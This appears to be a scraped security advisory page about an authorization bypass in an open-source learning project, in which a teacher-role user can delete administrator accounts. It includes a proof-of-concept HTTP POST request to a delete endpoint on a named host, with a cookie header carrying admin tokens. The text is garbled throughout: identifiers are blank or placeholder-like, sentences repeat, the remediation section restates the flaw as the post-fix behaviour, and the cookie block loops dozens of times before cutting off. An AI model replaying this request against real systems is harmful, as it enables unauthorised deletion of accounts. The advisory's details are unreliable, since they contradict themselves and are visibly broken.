GHSA-x2x-1ddr-4x6f: Authorization Bypass in x2x-mysql (CVE-430) with POC

Key Vulnerability Information Summary Vulnerability Overview Vulnerability Name: GitHub Security Advisory (CVE-430) Type: Authorization Bypass Through User-controlled Key Severity: High (CVSS 7.5) Status: Draft Publisher: mindsklp Affected Versions: Fixed Version: None available (No fix) Scope of Impact Ecosystem: Other (Open-source learning project ) Package Name: CVSS Vector: Impact: - When a teacher (role=2) calls , if the passed-in admin ID is the same as the current user's ID, evaluates to true, resulting in the user being unable to delete themselves (logic flaw). - Teachers can delete admin accounts, preventing admins from logging in. - Teachers can delete admin accounts, making them unable to log in. - Business logic flaw: When a teacher (role=2) calls , if the passed-in admin ID is the same as the current user's ID, evaluates to true, resulting in the user being unable to delete themselves. - By combining this with the permission configuration to retrieve the list of admin IDs, the impact on admins is further exacerbated. - Deleting all admins leaves the system in a state with no administrators. Remediation Add validation in : - Verify if is the same as . If they are the same, return an error message. - Verify if is in the list of admin IDs. If it is not in the list, return . After the fix, when a teacher (role=2) calls , if the passed-in admin ID is the same as the current user's ID, evaluates to true, resulting in the user being unable to delete themselves. After the fix, when a teacher (role=2) calls , if the passed-in admin ID is the same as the current user's ID, evaluates to true, resulting in the user being unable to delete themselves. POC Code ```http POST /api/teacher/user/delete/2 HTTP/1.1 Host: www.mindsklp.net:7002 Cookie: ml_iv=1722416868996546c9f4c7441b8b1b782193317; MWACMID=0D0A7C663F63235E; SSOSESSION20210124gNt4Y0W9UWUjLW1XW17076W26ZB870W; Xz4AdminUserName=admin; ml_iv_13082416835558596546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317000; owd-admin-user-name=admin; owd-admin- token=7b12d67a7a2711f410f7E3896546c9f4c7441b8b1b782193317

Goal Reached Thanks to every supporter — we hit 100%!

GHSA-x2x-1ddr-4x6f: Authorization Bypass in x2x-mysql (CVE-430) with POC

More from this source